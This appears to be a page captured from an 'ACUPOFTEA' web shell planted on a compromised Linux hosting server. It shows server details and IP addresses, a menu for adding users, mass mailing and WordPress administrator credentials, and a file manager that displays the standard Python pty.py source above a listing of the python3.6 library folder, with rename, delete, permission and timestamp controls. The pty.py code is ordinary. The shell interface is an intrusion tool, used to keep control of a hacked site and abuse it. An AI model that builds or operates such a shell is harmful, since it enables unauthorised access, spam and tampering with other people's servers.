System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python3.6
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
pty.py
"""Pseudo terminal utilities.""" # Bugs: No signal handling. Doesn't set slave termios and window size. # Only tested on Linux. # See: W. Richard Stevens. 1992. Advanced Programming in the # UNIX Environment. Chapter 19. # Author: Steen Lumholt -- with additions by Guido. from select import select import os import tty __all__ = ["openpty","fork","spawn"] STDIN_FILENO = 0 STDOUT_FILENO = 1 STDERR_FILENO = 2 CHILD = 0 def openpty(): """openpty() -> (master_fd, slave_fd) Open a pty master/slave pair, using os.openpty() if possible.""" try: return os.openpty() except (AttributeError, OSError): pass master_fd, slave_name = _open_terminal() slave_fd = slave_open(slave_name) return master_fd, slave_fd def master_open(): """master_open() -> (master_fd, slave_name) Open a pty master and return the fd, and the filename of the slave end. Deprecated, use openpty() instead.""" try: master_fd, slave_fd = os.openpty() except (AttributeError, OSError): pass else: slave_name = os.ttyname(slave_fd) os.close(slave_fd) return master_fd, slave_name return _open_terminal() def _open_terminal(): """Open pty master and return (master_fd, tty_name).""" for x in 'pqrstuvwxyzPQRST': for y in '0123456789abcdef': pty_name = '/dev/pty' + x + y try: fd = os.open(pty_name, os.O_RDWR) except OSError: continue return (fd, '/dev/tty' + x + y) raise OSError('out of pty devices') def slave_open(tty_name): """slave_open(tty_name) -> slave_fd Open the pty slave and acquire the controlling terminal, returning opened filedescriptor. Deprecated, use openpty() instead.""" result = os.open(tty_name, os.O_RDWR) try: from fcntl import ioctl, I_PUSH except ImportError: return result try: ioctl(result, I_PUSH, "ptem") ioctl(result, I_PUSH, "ldterm") except OSError: pass return result def fork(): """fork() -> (pid, master_fd) Fork and make the child a session leader with a controlling terminal.""" try: pid, fd = os.forkpty() except (AttributeError, OSError): pass else: if pid == CHILD: try: os.setsid() except OSError: # os.forkpty() already set us session leader pass return pid, fd master_fd, slave_fd = openpty() pid = os.fork() if pid == CHILD: # Establish a new session. os.setsid() os.close(master_fd) # Slave becomes stdin/stdout/stderr of child. os.dup2(slave_fd, STDIN_FILENO) os.dup2(slave_fd, STDOUT_FILENO) os.dup2(slave_fd, STDERR_FILENO) if (slave_fd > STDERR_FILENO): os.close (slave_fd) # Explicitly open the tty to make it become a controlling tty. tmp_fd = os.open(os.ttyname(STDOUT_FILENO), os.O_RDWR) os.close(tmp_fd) else: os.close(slave_fd) # Parent and child process. return pid, master_fd def _writen(fd, data): """Write all the data to a descriptor.""" while data: n = os.write(fd, data) data = data[n:] def _read(fd): """Default read function.""" return os.read(fd, 1024) def _copy(master_fd, master_read=_read, stdin_read=_read): """Parent copy loop. Copies pty master -> standard output (master_read) standard input -> pty master (stdin_read)""" fds = [master_fd, STDIN_FILENO] while True: rfds, wfds, xfds = select(fds, [], []) if master_fd in rfds: data = master_read(master_fd) if not data: # Reached EOF. fds.remove(master_fd) else: os.write(STDOUT_FILENO, data) if STDIN_FILENO in rfds: data = stdin_read(STDIN_FILENO) if not data: fds.remove(STDIN_FILENO) else: _writen(master_fd, data) def spawn(argv, master_read=_read, stdin_read=_read): """Create a spawned process.""" if type(argv) == type(''): argv = (argv,) pid, master_fd = fork() if pid == CHILD: os.execlp(argv[0], *argv) try: mode = tty.tcgetattr(STDIN_FILENO) tty.setraw(STDIN_FILENO) restore = 1 except tty.error: # This is the same as termios.error restore = 0 try: _copy(master_fd, master_read, stdin_read) except OSError: if restore: tty.tcsetattr(STDIN_FILENO, tty.TCSAFLUSH, mode) os.close(master_fd) return os.waitpid(pid, 0)[1]
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
..
DIR
-
dr-xr-xr-x
2025-10-21 10:57:26
__pycache__
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
asyncio
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
collections
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
concurrent
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
config-3.6m-x86_64-linux-gnu
DIR
-
drwxr-xr-x
2025-08-28 10:58:34
ctypes
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
curses
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
dbm
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
distutils
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
email
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
encodings
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
ensurepip
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
html
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
http
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
importlib
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
json
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
lib-dynload
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
lib2to3
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
logging
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
multiprocessing
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
pydoc_data
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
site-packages
DIR
-
drwxr-xr-x
2025-10-21 10:57:26
sqlite3
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
test
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
unittest
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
urllib
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
venv
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
wsgiref
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
xml
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
xmlrpc
DIR
-
drwxr-xr-x
2025-08-28 10:58:23
__future__.py
text/plain
4.73 KB
-rw-r--r--
2018-12-23 09:37:14
__phello__.foo.py
text/plain
64 B
-rw-r--r--
2018-12-23 09:37:14
_bootlocale.py
text/plain
1.27 KB
-rw-r--r--
2018-12-23 09:37:14
_collections_abc.py
text/x-python
25.77 KB
-rw-r--r--
2018-12-23 09:37:14
_compat_pickle.py
text/plain
8.54 KB
-rw-r--r--
2018-12-23 09:37:14
_compression.py
text/plain
5.21 KB
-rw-r--r--
2018-12-23 09:37:14
_dummy_thread.py
text/plain
5 KB
-rw-r--r--
2018-12-23 09:37:14
_markupbase.py
text/plain
14.26 KB
-rw-r--r--
2018-12-23 09:37:14
_osx_support.py
text/plain
18.69 KB
-rw-r--r--
2018-12-23 09:37:14
_pydecimal.py
text/x-python
224.83 KB
-rw-r--r--
2018-12-23 09:37:14
_pyio.py
text/x-python
86.03 KB
-rw-r--r--
2018-12-23 09:37:14
_sitebuiltins.py
text/plain
3.04 KB
-rw-r--r--
2018-12-23 09:37:14
_strptime.py
text/x-python
24.17 KB
-rw-r--r--
2018-12-23 09:37:14
_sysconfigdata_dm_linux_x86_64-linux-gnu.py
text/plain
29.48 KB
-rw-r--r--
2025-08-26 09:00:17
_sysconfigdata_m_linux_x86_64-linux-gnu.py
text/plain
29.66 KB
-rw-r--r--
2025-08-26 09:06:58
_threading_local.py
text/x-python
7.04 KB
-rw-r--r--
2018-12-23 09:37:14
_weakrefset.py
text/x-python
5.57 KB
-rw-r--r--
2018-12-23 09:37:14
abc.py
text/x-python
8.52 KB
-rw-r--r--
2018-12-23 09:37:14
aifc.py
text/x-python
31.69 KB
-rw-r--r--
2018-12-23 09:37:14
antigravity.py
text/x-python
477 B
-rw-r--r--
2018-12-23 09:37:14
argparse.py
text/x-python
88.25 KB
-rw-r--r--
2018-12-23 09:37:14
ast.py
text/x-python
11.88 KB
-rw-r--r--
2018-12-23 09:37:14
asynchat.py
text/x-python
11.06 KB
-rw-r--r--
2018-12-23 09:37:14
asyncore.py
text/x-python
19.69 KB
-rw-r--r--
2018-12-23 09:37:14
base64.py
text/plain
19.91 KB
-rwxr-xr-x
2018-12-23 09:37:14
bdb.py
text/x-python
23 KB
-rw-r--r--
2018-12-23 09:37:14
binhex.py
text/plain
13.63 KB
-rw-r--r--
2018-12-23 09:37:14
bisect.py
text/plain
2.53 KB
-rw-r--r--
2018-12-23 09:37:14
bz2.py
text/x-python
12.19 KB
-rw-r--r--
2018-12-23 09:37:14
cProfile.py
text/plain
5.25 KB
-rwxr-xr-x
2018-12-23 09:37:14
calendar.py
text/x-python
22.67 KB
-rw-r--r--
2018-12-23 09:37:14
cgi.py
text/plain
36.35 KB
-rwxr-xr-x
2025-08-26 08:58:55
cgitb.py
text/plain
11.74 KB
-rw-r--r--
2018-12-23 09:37:14
chunk.py
text/plain
5.3 KB
-rw-r--r--
2018-12-23 09:37:14
cmd.py
text/plain
14.51 KB
-rw-r--r--
2018-12-23 09:37:14
code.py
text/x-python
10.37 KB
-rw-r--r--
2018-12-23 09:37:14
codecs.py
text/plain
35.43 KB
-rw-r--r--
2018-12-23 09:37:14
codeop.py
text/x-python
5.85 KB
-rw-r--r--
2018-12-23 09:37:14
colorsys.py
text/plain
3.97 KB
-rw-r--r--
2018-12-23 09:37:14
compileall.py
text/x-python
11.84 KB
-rw-r--r--
2018-12-23 09:37:14
configparser.py
text/x-python
52.34 KB
-rw-r--r--
2018-12-23 09:37:14
contextlib.py
text/x-python
12.85 KB
-rw-r--r--
2018-12-23 09:37:14
copy.py
text/x-python
8.61 KB
-rw-r--r--
2018-12-23 09:37:14
copyreg.py
text/plain
6.84 KB
-rw-r--r--
2018-12-23 09:37:14
crypt.py
text/x-python
1.82 KB
-rw-r--r--
2018-12-23 09:37:14
csv.py
text/x-python
15.8 KB
-rw-r--r--
2018-12-23 09:37:14
datetime.py
text/plain
80.11 KB
-rw-r--r--
2018-12-23 09:37:14
decimal.py
text/x-python
320 B
-rw-r--r--
2018-12-23 09:37:14
difflib.py
text/x-python
82.4 KB
-rw-r--r--
2018-12-23 09:37:14
dis.py
text/x-python
17.71 KB
-rw-r--r--
2018-12-23 09:37:14
doctest.py
text/x-python
101.94 KB
-rw-r--r--
2018-12-23 09:37:14
dummy_threading.py
text/x-python
2.75 KB
-rw-r--r--
2018-12-23 09:37:14
enum.py
text/x-python
32.82 KB
-rw-r--r--
2018-12-23 09:37:14
filecmp.py
text/x-python
9.6 KB
-rw-r--r--
2018-12-23 09:37:14
fileinput.py
text/plain
14.13 KB
-rw-r--r--
2018-12-23 09:37:14
fnmatch.py
text/plain
3.09 KB
-rw-r--r--
2018-12-23 09:37:14
formatter.py
text/plain
14.79 KB
-rw-r--r--
2018-12-23 09:37:14
fractions.py
text/x-python
23.08 KB
-rw-r--r--
2018-12-23 09:37:14
ftplib.py
text/x-python
34.78 KB
-rw-r--r--
2025-08-26 08:58:55
functools.py
text/x-python
30.61 KB
-rw-r--r--
2018-12-23 09:37:14
genericpath.py
text/plain
4.91 KB
-rw-r--r--
2025-08-26 08:58:55
getopt.py
text/plain
7.31 KB
-rw-r--r--
2018-12-23 09:37:14
getpass.py
text/plain
5.85 KB
-rw-r--r--
2018-12-23 09:37:14
gettext.py
text/x-python
21.03 KB
-rw-r--r--
2018-12-23 09:37:14
glob.py
text/plain
5.51 KB
-rw-r--r--
2018-12-23 09:37:14
gzip.py
text/plain
19.86 KB
-rw-r--r--
2018-12-23 09:37:14
hashlib.py
text/x-python
8.59 KB
-rw-r--r--
2025-08-26 08:58:55
heapq.py
text/plain
22.39 KB
-rw-r--r--
2018-12-23 09:37:14
hmac.py
text/x-python
6.23 KB
-rw-r--r--
2025-08-26 08:58:55
imaplib.py
text/x-python
52.05 KB
-rw-r--r--
2018-12-23 09:37:14
imghdr.py
text/x-python
3.71 KB
-rw-r--r--
2018-12-23 09:37:14
imp.py
text/x-python
10.42 KB
-rw-r--r--
2018-12-23 09:37:14
inspect.py
text/x-python
114.22 KB
-rw-r--r--
2018-12-23 09:37:14
io.py
text/x-python
3.43 KB
-rw-r--r--
2018-12-23 09:37:14
ipaddress.py
text/x-python
75.99 KB
-rw-r--r--
2025-08-26 08:58:55
keyword.py
text/plain
2.17 KB
-rwxr-xr-x
2018-12-23 09:37:14
linecache.py
text/plain
5.19 KB
-rw-r--r--
2018-12-23 09:37:14
locale.py
text/x-python
75.49 KB
-rw-r--r--
2018-12-23 09:37:14
lzma.py
text/x-python
12.68 KB
-rw-r--r--
2018-12-23 09:37:14
macpath.py
text/x-python
5.83 KB
-rw-r--r--
2018-12-23 09:37:14
macurl2path.py
text/plain
2.67 KB
-rw-r--r--
2018-12-23 09:37:14
mailbox.py
text/plain
76.78 KB
-rw-r--r--
2018-12-23 09:37:14
mailcap.py
text/plain
8.85 KB
-rw-r--r--
2025-08-26 08:58:55
mimetypes.py
text/plain
20.55 KB
-rw-r--r--
2018-12-23 09:37:14
modulefinder.py
text/plain
22.49 KB
-rw-r--r--
2018-12-23 09:37:14
netrc.py
text/plain
5.55 KB
-rw-r--r--
2018-12-23 09:37:14
nntplib.py
text/x-python
42.07 KB
-rw-r--r--
2018-12-23 09:37:14
ntpath.py
text/x-python
22.55 KB
-rw-r--r--
2018-12-23 09:37:14
nturl2path.py
text/plain
2.39 KB
-rw-r--r--
2018-12-23 09:37:14
numbers.py
text/x-python
10 KB
-rw-r--r--
2018-12-23 09:37:14
opcode.py
text/x-python
5.69 KB
-rw-r--r--
2018-12-23 09:37:14
operator.py
text/x-python
10.61 KB
-rw-r--r--
2018-12-23 09:37:14
optparse.py
text/plain
58.96 KB
-rw-r--r--
2018-12-23 09:37:14
os.py
text/x-python
36.65 KB
-rw-r--r--
2018-12-23 09:37:14
pathlib.py
text/x-python
45.15 KB
-rw-r--r--
2025-08-26 08:58:55
pdb.py
text/plain
59.88 KB
-rwxr-xr-x
2018-12-23 09:37:14
pickle.py
text/x-python
54.39 KB
-rw-r--r--
2018-12-23 09:37:14
pickletools.py
text/troff
89.62 KB
-rw-r--r--
2018-12-23 09:37:14
pipes.py
text/x-python
8.71 KB
-rw-r--r--
2018-12-23 09:37:14
pkgutil.py
text/x-python
20.82 KB
-rw-r--r--
2018-12-23 09:37:14
platform.py
text/plain
46.11 KB
-rwxr-xr-x
2025-08-26 08:58:55
plistlib.py
text/x-python
31.53 KB
-rw-r--r--
2025-08-26 08:58:55
poplib.py
text/plain
14.61 KB
-rw-r--r--
2018-12-23 09:37:14
posixpath.py
text/x-python
15.94 KB
-rw-r--r--
2025-08-26 08:58:55
pprint.py
text/x-python
20.37 KB
-rw-r--r--
2018-12-23 09:37:14
profile.py
text/plain
21.51 KB
-rwxr-xr-x
2018-12-23 09:37:14
pstats.py
text/x-python
25.94 KB
-rw-r--r--
2018-12-23 09:37:14
pty.py
text/x-python
4.65 KB
-rw-r--r--
2018-12-23 09:37:14
py_compile.py
text/plain
7.01 KB
-rw-r--r--
2018-12-23 09:37:14
pyclbr.py
text/x-python
13.24 KB
-rw-r--r--
2018-12-23 09:37:14
pydoc.py
text/x-python
101.08 KB
-rw-r--r--
2025-08-26 09:08:09
queue.py
text/x-python
8.57 KB
-rw-r--r--
2018-12-23 09:37:14
quopri.py
text/plain
7.09 KB
-rwxr-xr-x
2018-12-23 09:37:14
random.py
text/x-python
26.8 KB
-rw-r--r--
2018-12-23 09:37:14
re.py
text/x-python
15.19 KB
-rw-r--r--
2018-12-23 09:37:14
reprlib.py
text/x-python
5.21 KB
-rw-r--r--
2018-12-23 09:37:14
rlcompleter.py
text/plain
6.93 KB
-rw-r--r--
2018-12-23 09:37:14
runpy.py
text/x-python
11.68 KB
-rw-r--r--
2018-12-23 09:37:14
sched.py
text/x-python
6.36 KB
-rw-r--r--
2018-12-23 09:37:14
secrets.py
text/x-python
1.99 KB
-rw-r--r--
2018-12-23 09:37:14
selectors.py
text/x-python
18.98 KB
-rw-r--r--
2018-12-23 09:37:14
shelve.py
text/x-python
8.32 KB
-rw-r--r--
2018-12-23 09:37:14
shlex.py
text/x-python
12.65 KB
-rw-r--r--
2018-12-23 09:37:14
shutil.py
text/plain
39.87 KB
-rw-r--r--
2025-08-26 08:58:55
signal.py
text/x-python
2.07 KB
-rw-r--r--
2018-12-23 09:37:14
site.py
text/plain
20.77 KB
-rw-r--r--
2025-08-26 08:58:55
smtpd.py
text/plain
33.91 KB
-rwxr-xr-x
2018-12-23 09:37:14
smtplib.py
text/plain
43.18 KB
-rwxr-xr-x
2018-12-23 09:37:14
sndhdr.py
text/x-python
6.92 KB
-rw-r--r--
2018-12-23 09:37:14
socket.py
text/x-python
26.8 KB
-rw-r--r--
2018-12-23 09:37:14
socketserver.py
text/x-python
26.38 KB
-rw-r--r--
2018-12-23 09:37:14
sre_compile.py
text/x-python
18.88 KB
-rw-r--r--
2018-12-23 09:37:14
sre_constants.py
text/x-python
6.66 KB
-rw-r--r--
2018-12-23 09:37:14
sre_parse.py
text/x-python
35.68 KB
-rw-r--r--
2018-12-23 09:37:14
ssl.py
text/x-python
43.47 KB
-rw-r--r--
2025-08-26 08:58:55
stat.py
text/plain
4.92 KB
-rw-r--r--
2018-12-23 09:37:14
statistics.py
text/x-python
20.19 KB
-rw-r--r--
2018-12-23 09:37:14
string.py
text/x-python
11.52 KB
-rw-r--r--
2018-12-23 09:37:14
stringprep.py
text/x-python
12.61 KB
-rw-r--r--
2018-12-23 09:37:14
struct.py
text/x-python
257 B
-rw-r--r--
2018-12-23 09:37:14
subprocess.py
text/x-python
60.88 KB
-rw-r--r--
2018-12-23 09:37:14
sunau.py
text/x-python
17.67 KB
-rw-r--r--
2018-12-23 09:37:14
symbol.py
text/plain
2.07 KB
-rwxr-xr-x
2018-12-23 09:37:14
symtable.py
text/x-python
7.11 KB
-rw-r--r--
2018-12-23 09:37:14
sysconfig.py
text/x-python
24.29 KB
-rw-r--r--
2025-08-26 09:08:08
tabnanny.py
text/plain
11.14 KB
-rwxr-xr-x
2018-12-23 09:37:14
tarfile.py
text/plain
109.02 KB
-rwxr-xr-x
2025-08-26 08:58:55
telnetlib.py
text/x-python
22.59 KB
-rw-r--r--
2018-12-23 09:37:14
tempfile.py
text/x-python
27.41 KB
-rw-r--r--
2025-08-26 08:58:55
textwrap.py
text/plain
19.1 KB
-rw-r--r--
2018-12-23 09:37:14
this.py
text/plain
1003 B
-rw-r--r--
2018-12-23 09:37:14
threading.py
text/x-python
48.96 KB
-rw-r--r--
2025-08-26 08:58:55
timeit.py
text/plain
13.03 KB
-rwxr-xr-x
2018-12-23 09:37:14
token.py
text/plain
3 KB
-rw-r--r--
2018-12-23 09:37:14
tokenize.py
text/x-python
28.8 KB
-rw-r--r--
2018-12-23 09:37:14
trace.py
text/plain
28.06 KB
-rwxr-xr-x
2018-12-23 09:37:14
traceback.py
text/plain
22.91 KB
-rw-r--r--
2018-12-23 09:37:14
tracemalloc.py
text/x-python
16.27 KB
-rw-r--r--
2018-12-23 09:37:14
tty.py
text/x-python
879 B
-rw-r--r--
2018-12-23 09:37:14
types.py
text/plain
8.66 KB
-rw-r--r--
2018-12-23 09:37:14
typing.py
text/x-python
78.39 KB
-rw-r--r--
2018-12-23 09:37:14
uu.py
text/plain
6.6 KB
-rwxr-xr-x
2018-12-23 09:37:14
uuid.py
text/x-c++
23.46 KB
-rw-r--r--
2025-08-26 08:58:55
warnings.py
text/plain
18.05 KB
-rw-r--r--
2018-12-23 09:37:14
wave.py
text/x-python
17.29 KB
-rw-r--r--
2018-12-23 09:37:14
weakref.py
text/x-python
19.99 KB
-rw-r--r--
2018-12-23 09:37:14
webbrowser.py
text/plain
21.26 KB
-rwxr-xr-x
2018-12-23 09:37:14
xdrlib.py
text/x-python
5.77 KB
-rw-r--r--
2018-12-23 09:37:14
zipapp.py
text/x-python
6.99 KB
-rw-r--r--
2018-12-23 09:37:14
zipfile.py
text/plain
78.05 KB
-rw-r--r--
2025-08-26 08:58:55
~ ACUPOFTEA - mail.ontime-ae.com